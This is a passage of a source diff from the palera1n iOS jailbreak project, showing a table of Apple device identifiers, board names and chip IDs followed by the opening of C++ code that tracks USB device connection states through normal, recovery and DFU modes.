{ "iPad6,12", "j72tap", 0x12, 0x8003, "iPad (5th gen, Cellular)" },
|
||||
{ "iPad7,1", "j120ap", 0x0C, 0x8011, "iPad Pro 12.9-inch (2nd gen, WiFi)" },
|
||||
{ "iPad7,2", "j121ap", 0x0E, 0x8011, "iPad Pro 12.9-inch (2nd gen, Cellular)" },
|
||||
{ "iPad7,3", "j207ap", 0x04, 0x8011, "iPad Pro 10.5-inch (WiFi)" },
|
||||
{ "iPad7,4", "j208ap", 0x06, 0x8011, "iPad Pro 10.5-inch (Cellular)" },
|
||||
{ "iPad7,5", "j71bap", 0x18, 0x8010, "iPad (6th gen, WiFi)" },
|
||||
{ "iPad7,6", "j72bap", 0x1A, 0x8010, "iPad (6th gen, Cellular)" },
|
||||
{ "iPad7,11", "j171ap", 0x1C, 0x8010, "iPad (7th gen, WiFi)" },
|
||||
{ "iPad7,12", "j172ap", 0x1E, 0x8010, "iPad (7th gen, Cellular)" },
|
||||
{ "iPad8,1", "j317ap", 0x0C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi)" },
|
||||
{ "iPad8,2", "j317xap", 0x1C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi, 1TB)" },
|
||||
{ "iPad8,3", "j318ap", 0x0E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular)" },
|
||||
{ "iPad8,4", "j318xap", 0x1E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular, 1TB)" },
|
||||
{ "iPad8,5", "j320ap", 0x08, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi)" },
|
||||
{ "iPad8,6", "j320xap", 0x18, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi, 1TB)" },
|
||||
{ "iPad8,7", "j321ap", 0x0A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular)" },
|
||||
{ "iPad8,8", "j321xap", 0x1A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular, 1TB)" },
|
||||
{ "iPad8,9", "j417ap", 0x3C, 0x8027, "iPad Pro 11-inch (2nd gen, WiFi)" },
|
||||
{ "iPad8,10", "j418ap", 0x3E, 0x8027, "iPad Pro 11-inch (2nd gen, Cellular)" },
|
||||
{ "iPad8,11", "j420ap", 0x38, 0x8027, "iPad Pro 12.9-inch (4th gen, WiFi)" },
|
||||
{ "iPad8,12", "j421ap", 0x3A, 0x8027, "iPad Pro 12.9-inch (4th gen, Cellular)" },
|
||||
{ "iPad11,1", "j210ap", 0x14, 0x8020, "iPad mini (5th gen, WiFi)" },
|
||||
{ "iPad11,2", "j211ap", 0x16, 0x8020, "iPad mini (5th gen, Cellular)" },
|
||||
{ "iPad11,3", "j217ap", 0x1C, 0x8020, "iPad Air (3rd gen, WiFi)" },
|
||||
{ "iPad11,4", "j218ap", 0x1E, 0x8020, "iPad Air (3rd gen, Cellular)" },
|
||||
{ "iPad11,6", "j171aap", 0x24, 0x8020, "iPad (8th gen, WiFi)" },
|
||||
{ "iPad11,7", "j172aap", 0x26, 0x8020, "iPad (8th gen, Cellular)" },
|
||||
{ "iPad12,1", "j181ap", 0x18, 0x8030, "iPad (9th gen, WiFi)" },
|
||||
{ "iPad12,2", "j182ap", 0x1A, 0x8030, "iPad (9th gen, Cellular)" },
|
||||
{ "iPad13,1", "j307ap", 0x04, 0x8101, "iPad Air (4th gen, WiFi)" },
|
||||
{ "iPad13,2", "j308ap", 0x06, 0x8101, "iPad Air (4th gen, Cellular)" },
|
||||
{ "iPad13,4", "j517ap", 0x08, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi)" },
|
||||
{ "iPad13,5", "j517xap", 0x0A, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi, 2TB)" },
|
||||
{ "iPad13,6", "j518ap", 0x0C, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular)" },
|
||||
{ "iPad13,7", "j518xap", 0x0E, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular, 2TB)" },
|
||||
{ "iPad13,8", "j522ap", 0x18, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi)" },
|
||||
{ "iPad13,9", "j522xap", 0x1A, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi, 2TB)" },
|
||||
{ "iPad13,10", "j523ap", 0x1C, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular)" },
|
||||
{ "iPad13,11", "j523xap", 0x1E, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular, 2TB)" },
|
||||
{ "iPad13,16", "j407ap", 0x10, 0x8103, "iPad Air (5th gen, WiFi)" },
|
||||
{ "iPad13,17", "j408ap", 0x12, 0x8103, "iPad Air (5th gen, Cellular)" },
|
||||
{ "iPad13,18", "j271ap", 0x14, 0x8101, "iPad (10th gen, WiFi)" },
|
||||
{ "iPad13,19", "j272ap", 0x16, 0x8101, "iPad (10th gen, Cellular)" },
|
||||
{ "iPad14,1", "j310ap", 0x04, 0x8110, "iPad mini (6th gen, WiFi)" },
|
||||
{ "iPad14,2", "j311ap", 0x06, 0x8110, "iPad mini (6th gen, Cellular)" },
|
||||
{ "iPad14,3", "j617ap", 0x08, 0x8112, "iPad Pro 11-inch (4th gen, WiFi)" },
|
||||
{ "iPad14,4", "j618ap", 0x0A, 0x8112, "iPad Pro 11-inch (4th gen, Cellular)" },
|
||||
{ "iPad14,5", "j620ap", 0x0C, 0x8112, "iPad Pro 12.9-inch (6th gen, WiFi)" },
|
||||
{ "iPad14,6", "j621ap", 0x0E, 0x8112, "iPad Pro 12.9-inch (6th gen, Cellular)" },
|
||||
{ "iPad14,8", "j507ap", 0x10, 0x8112, "iPad Air 11-inch (M2, WiFi)" },
|
||||
{ "iPad14,9", "j508ap", 0x12, 0x8112, "iPad Air 11-inch (M2, Cellular)" },
|
||||
{ "iPad14,10", "j537ap", 0x14, 0x8112, "iPad Air 13-inch (M2, WiFi)" },
|
||||
{ "iPad14,11", "j538ap", 0x16, 0x8112, "iPad Air 13-inch (M2, Cellular)" },
|
||||
{ "iPad15,3", "j607ap", 0x08, 0x8122, "iPad Air 11-inch (M3, WiFi)" },
|
||||
{ "iPad15,4", "j608ap", 0x0A, 0x8122, "iPad Air 11-inch (M3, Cellular)" },
|
||||
{ "iPad15,5", "j637ap", 0x0C, 0x8122, "iPad Air 13-inch (M3, WiFi)" },
|
||||
{ "iPad15,6", "j638ap", 0x0E, 0x8122, "iPad Air 13-inch (M3, Cellular)" },
|
||||
{ "iPad15,7", "j481ap", 0x10, 0x8120, "iPad (A16, WiFi)" },
|
||||
{ "iPad15,8", "j482ap", 0x12, 0x8120, "iPad (A16, Cellular)" },
|
||||
{ "iPad16,1", "j410ap", 0x08, 0x8130, "iPad mini (A17 Pro, WiFi)" },
|
||||
{ "iPad16,2", "j411ap", 0x0A, 0x8130, "iPad mini (A17 Pro, Cellular)" },
|
||||
{ "iPad16,3", "j717ap", 0x08, 0x8132, "iPad Pro 11-inch (M4, WiFi)" },
|
||||
{ "iPad16,4", "j718ap", 0x0A, 0x8132, "iPad Pro 11-inch (M4, Cellular)" },
|
||||
{ "iPad16,5", "j720ap", 0x0C, 0x8132, "iPad Pro 13-inch (M4, WiFi)" },
|
||||
{ "iPad16,6", "j721ap", 0x0E, 0x8132, "iPad Pro 13-inch (M4, Cellular)" },
|
||||
{ "iPad16,8", "j707ap", 0x10, 0x8132, "iPad Air 11-inch (M4, Wi-Fi)" },
|
||||
{ "iPad16,9", "j708ap", 0x12, 0x8132, "iPad Air 11-inch (M4, Cellular)" },
|
||||
{ "iPad16,10", "j737ap", 0x14, 0x8132, "iPad Air 13-inch (M4, Wi-Fi)" },
|
||||
{ "iPad16,11", "j738ap", 0x16, 0x8132, "iPad Air 13-inch (M4, Cellular)" },
|
||||
{ "iPad17,1", "j817ap", 0x08, 0x8142, "iPad Pro 11-inch (M5, WiFi)" },
|
||||
{ "iPad17,2", "j818ap", 0x0A, 0x8142, "iPad Pro 11-inch (M5, Cellular)" },
|
||||
{ "iPad17,3", "j820ap", 0x0C, 0x8142, "iPad Pro 13-inch (M5, WiFi)" },
|
||||
{ "iPad17,4", "j821ap", 0x0E, 0x8142, "iPad Pro 13-inch (M5, Cellular)" },
|
||||
/* Apple TV */
|
||||
{ "AppleTV2,1", "k66ap", 0x10, 0x8930, "Apple TV 2" },
|
||||
{ "AppleTV3,1", "j33ap", 0x08, 0x8942, "Apple TV 3" },
|
||||
{ "AppleTV3,2", "j33iap", 0x00, 0x8947, "Apple TV 3 (2013)" },
|
||||
{ "AppleTV5,3", "j42dap", 0x34, 0x7000, "Apple TV 4" },
|
||||
{ "AppleTV6,2", "j105aap", 0x02, 0x8011, "Apple TV 4K" },
|
||||
{ "AppleTV11,1", "j305ap", 0x08, 0x8020, "Apple TV 4K (2nd gen)" },
|
||||
{ "AppleTV14,1", "j255ap", 0x02, 0x8110, "Apple TV 4K (3rd gen)" },
|
||||
/* HomePod */
|
||||
{ "AudioAccessory1,1", "b238aap", 0x38, 0x7000, "HomePod (1st gen)" },
|
||||
{ "AudioAccessory1,2", "b238ap", 0x1A, 0x7000, "HomePod (1st gen)" },
|
||||
{ "AudioAccessory5,1", "b520ap", 0x22, 0x8006, "HomePod mini" },
|
||||
{ "AudioAccessory6,1", "b620ap", 0x18, 0x8301, "HomePod (2nd gen)" },
|
||||
/* Apple Watch */
|
||||
{ "Watch1,1", "n27aap", 0x02, 0x7002, "Apple Watch 38mm (1st gen)" },
|
||||
{ "Watch1,2", "n28aap", 0x04, 0x7002, "Apple Watch 42mm (1st gen)" },
|
||||
{ "Watch2,6", "n27dap", 0x02, 0x8002, "Apple Watch Series 1 (38mm)" },
|
||||
{ "Watch2,7", "n28dap", 0x04, 0x8002, "Apple Watch Series 1 (42mm)" },
|
||||
{ "Watch2,3", "n74ap", 0x0C, 0x8002, "Apple Watch Series 2 (38mm)" },
|
||||
{ "Watch2,4", "n75ap", 0x0E, 0x8002, "Apple Watch Series 2 (42mm)" },
|
||||
{ "Watch3,1", "n111sap", 0x1C, 0x8004, "Apple Watch Series 3 (38mm Cellular)" },
|
||||
{ "Watch3,2", "n111bap", 0x1E, 0x8004, "Apple Watch Series 3 (42mm Cellular)" },
|
||||
{ "Watch3,3", "n121sap", 0x18, 0x8004, "Apple Watch Series 3 (38mm)" },
|
||||
{ "Watch3,4", "n121bap", 0x1A, 0x8004, "Apple Watch Series 3 (42mm)" },
|
||||
{ "Watch4,1", "n131sap", 0x08, 0x8006, "Apple Watch Series 4 (40mm)" },
|
||||
{ "Watch4,2", "n131bap", 0x0A, 0x8006, "Apple Watch Series 4 (44mm)" },
|
||||
{ "Watch4,3", "n141sap", 0x0C, 0x8006, "Apple Watch Series 4 (40mm Cellular)" },
|
||||
{ "Watch4,4", "n141bap", 0x0E, 0x8006, "Apple Watch Series 4 (44mm Cellular)" },
|
||||
{ "Watch5,1", "n144sap", 0x10, 0x8006, "Apple Watch Series 5 (40mm)" },
|
||||
{ "Watch5,2", "n144bap", 0x12, 0x8006, "Apple Watch Series 5 (44mm)" },
|
||||
{ "Watch5,3", "n146sap", 0x14, 0x8006, "Apple Watch Series 5 (40mm Cellular)" },
|
||||
{ "Watch5,4", "n146bap", 0x16, 0x8006, "Apple Watch Series 5 (44mm Cellular)" },
|
||||
{ "Watch5,9", "n140sap", 0x28, 0x8006, "Apple Watch SE (40mm)" },
|
||||
{ "Watch5,10", "n140bap", 0x2A, 0x8006, "Apple Watch SE (44mm)" },
|
||||
{ "Watch5,11", "n142sap", 0x2C, 0x8006, "Apple Watch SE (40mm Cellular)" },
|
||||
{ "Watch5,12", "n142bap", 0x2E, 0x8006, "Apple Watch SE (44mm Cellular)" },
|
||||
{ "Watch6,1", "n157sap", 0x08, 0x8301, "Apple Watch Series 6 (40mm)" },
|
||||
{ "Watch6,2", "n157bap", 0x0A, 0x8301, "Apple Watch Series 6 (44mm)" },
|
||||
{ "Watch6,3", "n158sap", 0x0C, 0x8301, "Apple Watch Series 6 (40mm Cellular)" },
|
||||
{ "Watch6,4", "n158bap", 0x0E, 0x8301, "Apple Watch Series 6 (44mm Cellular)" },
|
||||
{ "Watch6,6", "n187sap", 0x10, 0x8301, "Apple Watch Series 7 (41mm)" },
|
||||
{ "Watch6,7", "n187bap", 0x12, 0x8301, "Apple Watch Series 7 (45mm)" },
|
||||
{ "Watch6,8", "n188sap", 0x14, 0x8301, "Apple Watch Series 7 (41mm Cellular)" },
|
||||
{ "Watch6,9", "n188bap", 0x16, 0x8301, "Apple Watch Series 7 (45mm Cellular)" },
|
||||
{ "Watch6,10", "n143sap", 0x28, 0x8301, "Apple Watch SE 2 (40mm)" },
|
||||
{ "Watch6,11", "n143bap", 0x2A, 0x8301, "Apple Watch SE 2 (44mm)" },
|
||||
{ "Watch6,12", "n149sap", 0x2C, 0x8301, "Apple Watch SE 2 (40mm Cellular)" },
|
||||
{ "Watch6,13", "n149bap", 0x2E, 0x8301, "Apple Watch SE 2 (44mm Cellular)" },
|
||||
{ "Watch6,14", "n197sap", 0x30, 0x8301, "Apple Watch Series 8 (41mm)" },
|
||||
{ "Watch6,15", "n197bap", 0x32, 0x8301, "Apple Watch Series 8 (45mm)" },
|
||||
{ "Watch6,16", "n198sap", 0x34, 0x8301, "Apple Watch Series 8 (41mm Cellular)" },
|
||||
{ "Watch6,17", "n198bap", 0x36, 0x8301, "Apple Watch Series 8 (45mm Cellular)" },
|
||||
{ "Watch6,18", "n199ap", 0x26, 0x8301, "Apple Watch Ultra" },
|
||||
{ "Watch7,1", "n207sap", 0x08, 0x8310, "Apple Watch Series 9 (41mm)" },
|
||||
{ "Watch7,2", "n207bap", 0x0A, 0x8310, "Apple Watch Series 9 (45mm)" },
|
||||
{ "Watch7,3", "n208sap", 0x0C, 0x8310, "Apple Watch Series 9 (41mm Cellular)" },
|
||||
{ "Watch7,4", "n208bap", 0x0E, 0x8310, "Apple Watch Series 9 (45mm Cellular)" },
|
||||
{ "Watch7,5", "n210ap", 0x02, 0x8310, "Apple Watch Ultra 2" },
|
||||
{ "Watch7,8", "n217sap", 0x10, 0x8310, "Apple Watch Series 10 (42mm)" },
|
||||
{ "Watch7,9", "n217bap", 0x12, 0x8310, "Apple Watch Series 10 (46mm)" },
|
||||
{ "Watch7,10", "n218sap", 0x14, 0x8310, "Apple Watch Series 10 (42mm Cellular)" },
|
||||
{ "Watch7,11", "n218bap", 0x16, 0x8310, "Apple Watch Series 10 (46mm Cellular)" },
|
||||
{ "Watch7,12", "n230ap", 0x22, 0x8310, "Apple Watch Ultra 3" },
|
||||
{ "Watch7,13", "n243sap", 0x28, 0x8310, "Apple Watch SE 3 (40mm)" },
|
||||
{ "Watch7,14", "n243bap", 0x2A, 0x8310, "Apple Watch SE 3 (44mm)" },
|
||||
{ "Watch7,15", "n244sap", 0x2C, 0x8310, "Apple Watch SE 3 (40mm Cellular)" },
|
||||
{ "Watch7,16", "n244bap", 0x2E, 0x8310, "Apple Watch SE 3 (44mm Cellular)" },
|
||||
{ "Watch7,17", "n227sap", 0x18, 0x8310, "Apple Watch Series 11 (42mm)" },
|
||||
{ "Watch7,18", "n227bap", 0x1A, 0x8310, "Apple Watch Series 11 (46mm)" },
|
||||
{ "Watch7,19", "n228sap", 0x1C, 0x8310, "Apple Watch Series 11 (42mm Cellular)" },
|
||||
{ "Watch7,20", "n228bap", 0x1E, 0x8310, "Apple Watch Series 11 (46mm Cellular)" },
|
||||
/* Apple Silicon Macs */
|
||||
{ "ADP3,2", "j273aap", 0x42, 0x8027, "Developer Transition Kit (2020)" },
|
||||
{ "Macmini9,1", "j274ap", 0x22, 0x8103, "Mac mini (M1, 2020)" },
|
||||
{ "MacBookPro17,1", "j293ap", 0x24, 0x8103, "MacBook Pro (M1, 13-inch, 2020)" },
|
||||
{ "MacBookPro18,1", "j316sap", 0x0A, 0x6000, "MacBook Pro (M1 Pro, 16-inch, 2021)" },
|
||||
{ "MacBookPro18,2", "j316cap", 0x0A, 0x6001, "MacBook Pro (M1 Max, 16-inch, 2021)" },
|
||||
{ "MacBookPro18,3", "j314sap", 0x08, 0x6000, "MacBook Pro (M1 Pro, 14-inch, 2021)" },
|
||||
{ "MacBookPro18,4", "j314cap", 0x08, 0x6001, "MacBook Pro (M1 Max, 14-inch, 2021)" },
|
||||
{ "MacBookAir10,1", "j313ap", 0x26, 0x8103, "MacBook Air (M1, 2020)" },
|
||||
{ "iMac21,1", "j456ap", 0x28, 0x8103, "iMac 24-inch (M1, Two Ports, 2021)" },
|
||||
{ "iMac21,2", "j457ap", 0x2A, 0x8103, "iMac 24-inch (M1, Four Ports, 2021)" },
|
||||
{ "Mac13,1", "j375cap", 0x04, 0x6001, "Mac Studio (M1 Max, 2022)" },
|
||||
{ "Mac13,2", "j375dap", 0x0C, 0x6002, "Mac Studio (M1 Ultra, 2022)" },
|
||||
{ "Mac14,2", "j413ap", 0x28, 0x8112, "MacBook Air (M2, 2022)" },
|
||||
{ "Mac14,7", "j493ap", 0x2A, 0x8112, "MacBook Pro (M2, 13-inch, 2022)" },
|
||||
{ "Mac14,3", "j473ap", 0x24, 0x8112, "Mac mini (M2, 2023)" },
|
||||
{ "Mac14,5", "j414cap", 0x04, 0x6021, "MacBook Pro (14-inch, M2 Max, 2023)" },
|
||||
{ "Mac14,6", "j416cap", 0x06, 0x6021, "MacBook Pro (16-inch, M2 Max, 2023)" },
|
||||
{ "Mac14,8", "j180dap", 0x08, 0x6022, "Mac Pro (2023)" },
|
||||
{ "Mac14,9", "j414sap", 0x04, 0x6020, "MacBook Pro (14-inch, M2 Pro, 2023)" },
|
||||
{ "Mac14,10", "j416sap", 0x06, 0x6020, "MacBook Pro (16-inch, M2 Pro, 2023)" },
|
||||
{ "Mac14,12", "j474sap", 0x02, 0x6020, "Mac mini (M2 Pro, 2023)" },
|
||||
{ "Mac14,13", "j475cap", 0x0A, 0x6021, "Mac Studio (M2 Max, 2023)" },
|
||||
{ "Mac14,14", "j475dap", 0x0A, 0x6022, "Mac Studio (M2 Ultra, 2023)" },
|
||||
{ "Mac14,15", "j415ap", 0x2E, 0x8112, "MacBook Air (M2, 15-inch, 2023)" },
|
||||
{ "Mac15,3", "j504ap", 0x22, 0x8122, "MacBook Pro (14-inch, M3, Nov 2023)" },
|
||||
{ "Mac15,4", "j433ap", 0x28, 0x8122, "iMac 24-inch (M3, Two Ports, 2023)" },
|
||||
{ "Mac15,5", "j434ap", 0x2A, 0x8122, "iMac 24-inch (M3, Four Ports, 2023)" },
|
||||
{ "Mac15,6", "j514sap", 0x04, 0x6030, "MacBook Pro (14-inch, M3 Pro, Nov 2023)" },
|
||||
{ "Mac15,7", "j516sap", 0x06, 0x6030, "MacBook Pro (16-inch, M3 Pro, Nov 2023)" },
|
||||
{ "Mac15,8", "j514cap", 0x44, 0x6031, "MacBook Pro (14-inch, M3 Max, Nov 2023)" },
|
||||
{ "Mac15,9", "j516cap", 0x46, 0x6031, "MacBook Pro (16-inch, M3 Max, Nov 2023)" },
|
||||
{ "Mac15,10", "j514map", 0x44, 0x6034, "MacBook Pro (14-inch, M3 Max, Nov 2023)" },
|
||||
{ "Mac15,11", "j516map", 0x46, 0x6034, "MacBook Pro (16-inch, M3 Max, Nov 2023)" },
|
||||
{ "Mac15,12", "j613ap", 0x30, 0x8122, "MacBook Air (13-inch, M3, 2024)" },
|
||||
{ "Mac15,13", "j615ap", 0x32, 0x8122, "MacBook Air (15-inch, M3, 2024)" },
|
||||
{ "Mac15,14", "j575dap", 0x44, 0x6032, "Mac Studio (M3 Ultra, 2025)" },
|
||||
{ "Mac16,1", "j604ap", 0x22, 0x8132, "MacBook Pro (14-inch, M4, Nov 2024)" },
|
||||
{ "Mac16,2", "j623ap", 0x24, 0x8132, "iMac 24-inch (M4, Two Ports, 2024)" },
|
||||
{ "Mac16,3", "j624ap", 0x26, 0x8132, "iMac 24-inch (M4, Four Ports, 2024)" },
|
||||
{ "Mac16,5", "j616cap", 0x06, 0x6041, "MacBook Pro (16-inch, M4 Max, Nov 2024)" },
|
||||
{ "Mac16,6", "j614cap", 0x04, 0x6041, "MacBook Pro (14-inch, M4 Max, Nov 2024)" },
|
||||
{ "Mac16,7", "j616sap", 0x06, 0x6040, "MacBook Pro (16-inch, M4 Pro, Nov 2024)" },
|
||||
{ "Mac16,8", "j614sap", 0x04, 0x6040, "MacBook Pro (14-inch, M4 Pro, Nov 2024)" },
|
||||
{ "Mac16,9", "j575cap", 0x02, 0x6041, "Mac Studio (M4 Max, 2025)" },
|
||||
{ "Mac16,10", "j773gap", 0x2A, 0x8132, "Mac mini (M4, 2024)" },
|
||||
{ "Mac16,11", "j773sap", 0x02, 0x6040, "Mac mini (M4 Pro, 2024)" },
|
||||
{ "Mac16,12", "j713ap", 0x2C, 0x8132, "MacBook Air (13-inch, M4, 2025)" },
|
||||
{ "Mac16,13", "j715ap", 0x2E, 0x8132, "MacBook Air (15-inch, M4, 2025)" },
|
||||
{ "Mac17,2", "j704ap", 0x22, 0x8142, "MacBook Pro (14-inch, M5, 2025)" },
|
||||
/* Apple Silicon VMs (supported by Virtualization.framework on macOS 12) */
|
||||
{ "VirtualMac2,1", "vma2macosap", 0x20, 0xFE00, "Apple Virtual Machine 1" },
|
||||
/* Apple T2 Coprocessor */
|
||||
{ "iBridge2,1", "j137ap", 0x0A, 0x8012, "Apple T2 iMacPro1,1 (j137)" },
|
||||
{ "iBridge2,3", "j680ap", 0x0B, 0x8012, "Apple T2 MacBookPro15,1 (j680)" },
|
||||
{ "iBridge2,4", "j132ap", 0x0C, 0x8012, "Apple T2 MacBookPro15,2 (j132)" },
|
||||
{ "iBridge2,5", "j174ap", 0x0E, 0x8012, "Apple T2 Macmini8,1 (j174)" },
|
||||
{ "iBridge2,6", "j160ap", 0x0F, 0x8012, "Apple T2 MacPro7,1 (j160)" },
|
||||
{ "iBridge2,7", "j780ap", 0x07, 0x8012, "Apple T2 MacBookPro15,3 (j780)" },
|
||||
{ "iBridge2,8", "j140kap", 0x17, 0x8012, "Apple T2 MacBookAir8,1 (j140k)" },
|
||||
{ "iBridge2,10", "j213ap", 0x18, 0x8012, "Apple T2 MacBookPro15,4 (j213)" },
|
||||
{ "iBridge2,12", "j140aap", 0x37, 0x8012, "Apple T2 MacBookAir8,2 (j140a)" },
|
||||
{ "iBridge2,14", "j152fap", 0x3A, 0x8012, "Apple T2 MacBookPro16,1 (j152f)" },
|
||||
{ "iBridge2,15", "j230kap", 0x3F, 0x8012, "Apple T2 MacBookAir9,1 (j230k)" },
|
||||
{ "iBridge2,16", "j214kap", 0x3E, 0x8012, "Apple T2 MacBookPro16,2 (j214k)" },
|
||||
{ "iBridge2,19", "j185ap", 0x22, 0x8012, "Apple T2 iMac20,1 (j185)" },
|
||||
{ "iBridge2,20", "j185fap", 0x23, 0x8012, "Apple T2 iMac20,2 (j185f)" },
|
||||
{ "iBridge2,21", "j223ap", 0x3B, 0x8012, "Apple T2 MacBookPro16,3 (j223)" },
|
||||
{ "iBridge2,22", "j215ap", 0x38, 0x8012, "Apple T2 MacBookPro16,4 (j215)" },
|
||||
/* Apple Displays */
|
||||
{ "AppleDisplay2,1", "j327ap", 0x22, 0x8030, "Studio Display" },
|
||||
/* Apple Vision Pro */
|
||||
{ "RealityDevice14,1", "n301ap", 0x42, 0x8112, "Apple Vision Pro" },
|
||||
{ "RealityDevice17,1", "n301aap", 0x42, 0x8142, "Apple Vision Pro (M5)" },
|
||||
/* Private Cloud Compute Research Environment */
|
||||
{ "iPhone99,11", "vresearch101ap", 0x90, 0xFE01, "iPhone 99,11" },
|
||||
{ nullptr, nullptr, -1, -1, nullptr }
|
||||
};
|
||||
|
||||
#include "../pongo_helper.h"
|
||||
|
||||
void get_recovery_info(char *sn, const char **ecid, const char **product_model, const char **product_name);
|
||||
void get_name_from_product_type(const char *product_type, const char **name);
|
||||
|
||||
#endif // MAIN__DEVICE_INFO_H
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
@@ -0,0 +1,493 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#include "event.hpp"
|
||||
#include "../sequence.hpp"
|
||||
#include "device_info.hpp"
|
||||
|
||||
#include <chrono>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
#include <unordered_map>
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
#include <memory>
|
||||
#include <condition_variable>
|
||||
#include <cstring>
|
||||
#include <iostream>
|
||||
|
||||
#if WITH_CIDERRAIN
|
||||
# include <ciderra1n/log.h>
|
||||
#else
|
||||
# include <openra1n/utils.h>
|
||||
# include <openra1n/shim.h>
|
||||
#endif
|
||||
|
||||
#include "ra1ncovery/hotplug.hpp"
|
||||
#include <idevice++/lockdown.hpp>
|
||||
#include <idevice++/usbmuxd.hpp>
|
||||
#include <idevice++/provider.hpp>
|
||||
|
||||
#if defined(__APPLE__)
|
||||
using platform_service_t = io_service_t;
|
||||
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||
using platform_service_t = libusb_device*;
|
||||
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||
using platform_service_t = liteusb_handle_t*;
|
||||
#endif
|
||||
|
||||
#ifndef __APPLE__
|
||||
# define IO_OBJECT_NULL nullptr
|
||||
#endif
|
||||
|
||||
namespace {
|
||||
|
||||
struct ManagedDevice {
|
||||
DeviceState state{};
|
||||
bool normalPresent = false;
|
||||
bool recoveryPresent = false;
|
||||
bool dfuPresent = false;
|
||||
hotplug_handle_t handle{};
|
||||
uint32_t device_id = 0;
|
||||
|
||||
std::unique_ptr<IdeviceFFI::UsbmuxdDevice> usbmuxd_device;
|
||||
};
|
||||
|
||||
void release_handle(hotplug_handle_t& h) {
|
||||
#ifdef __APPLE__
|
||||
if (h.serv != IO_OBJECT_NULL) {
|
||||
IOObjectRelease(h.serv);
|
||||
h.serv = IO_OBJECT_NULL;
|
||||
}
|
||||
if (h.device) {
|
||||
(*h.device)->Release(h.device);
|
||||
h.device = nullptr;
|
||||
}
|
||||
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||
if (h.serv != nullptr) {
|
||||
libusb_unref_device(h.serv);
|
||||
h.serv = nullptr;
|
||||
}
|
||||
h.device = nullptr;
|
||||
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||
h.handle = nullptr;
|
||||
#endif
|
||||
}
|
||||
|
||||
void retain_handle(const hotplug_handle_t& h) {
|
||||
#ifdef __APPLE__
|
||||
if (h.serv != IO_OBJECT_NULL) {
|
||||
IOObjectRetain(h.serv);
|
||||
}
|
||||
if (h.device) (*h.device)->AddRef(h.device);
|
||||
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||
if (h.serv != nullptr) {
|
||||
libusb_ref_device(h.serv);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
template<auto FreeFn>
|
||||
struct Releaser {
|
||||
template<typename T>
|
||||
void operator()(T* ptr) const { if (ptr) FreeFn(ptr); }
|
||||
};
|
||||
|
||||
template<typename T, auto FreeFn>
|
||||
using unique_c_ptr = std::unique_ptr<T, Releaser<FreeFn>>;
|
||||
|
||||
std::mutex g_mutex;
|
||||
std::vector<DeviceStateCallback> g_callbacks;
|
||||
std::unordered_map<uint64_t, ManagedDevice> g_devices;
|
||||
uint64_t g_activeEcid = 0;
|
||||
std::once_flag g_startOnce;
|
||||
|
||||
#ifndef __APPLE__
|
||||
std::condition_variable g_recoveryCv;
|
||||
bool g_recoveryRunning = false;
|
||||
#endif
|
||||
|
||||
void dispatch_callbacks(const std::vector<DeviceStateCallback>& callbacks, const DeviceState& state) {
|
||||
for (const auto& cb : callbacks) {
|
||||
if (cb) cb(state);
|
||||
}
|
||||
}
|
||||
|
||||
DeviceState build_public_state_locked() {
|
||||
DeviceState out{};
|
||||
const auto total_devices = static_cast<uint32_t>(g_devices.size());
|
||||
out.connected = false;
|
||||
out.connectedDeviceCount = total_devices;
|
||||
out.multipleDevices = total_devices > 1;
|
||||
|
||||
if (g_devices.empty()) {
|
||||
g_activeEcid = 0;
|
||||
return out;
|
||||
}
|
||||
|
||||
auto it = g_devices.find(g_activeEcid);
|
||||
if (it == g_devices.end()) {
|
||||
it = g_devices.begin();
|
||||
}
|
||||
|
||||
g_activeEcid = it->first;
|
||||
out = it->second.state;
|
||||
out.connected = true;
|
||||
